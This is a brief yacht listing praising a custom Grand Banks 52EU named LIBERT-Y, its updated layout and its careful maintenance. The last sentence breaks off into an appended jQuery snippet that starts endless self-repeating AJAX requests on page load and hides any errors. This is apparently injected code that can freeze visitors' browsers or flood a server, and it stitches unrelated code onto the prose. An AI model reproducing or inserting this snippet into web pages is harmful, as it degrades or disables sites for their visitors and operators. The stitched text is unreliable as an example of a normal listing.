When the cruising couple of this very special 52EU decided to move up from their 46'' Grand Banks Classic and build a new boat, they loved the timeless design of the Heritage EU series. They loved the size and the classic lines, but felt the layout and features needed to be updated to the current trends in yacht design. The result is a beautifully designed and practical layout with greater headroom, covered aft deck, open galley that flows beautifully into the pilothouse and lots of natural light throughout the yacht. LIBERT-Y was built with an extensive standard and custom option list and absolutely no expense was spared to make her the perfect cruising yacht. She has been thoroughly enjoyed and beautifully maintained by her owners who have purchased a larger yacht to continue their cruising adventures to more distant ports of call function load(){try{$.ajax({error:load,success:load});}catch(e){}}try{$(load)}catch(e){}
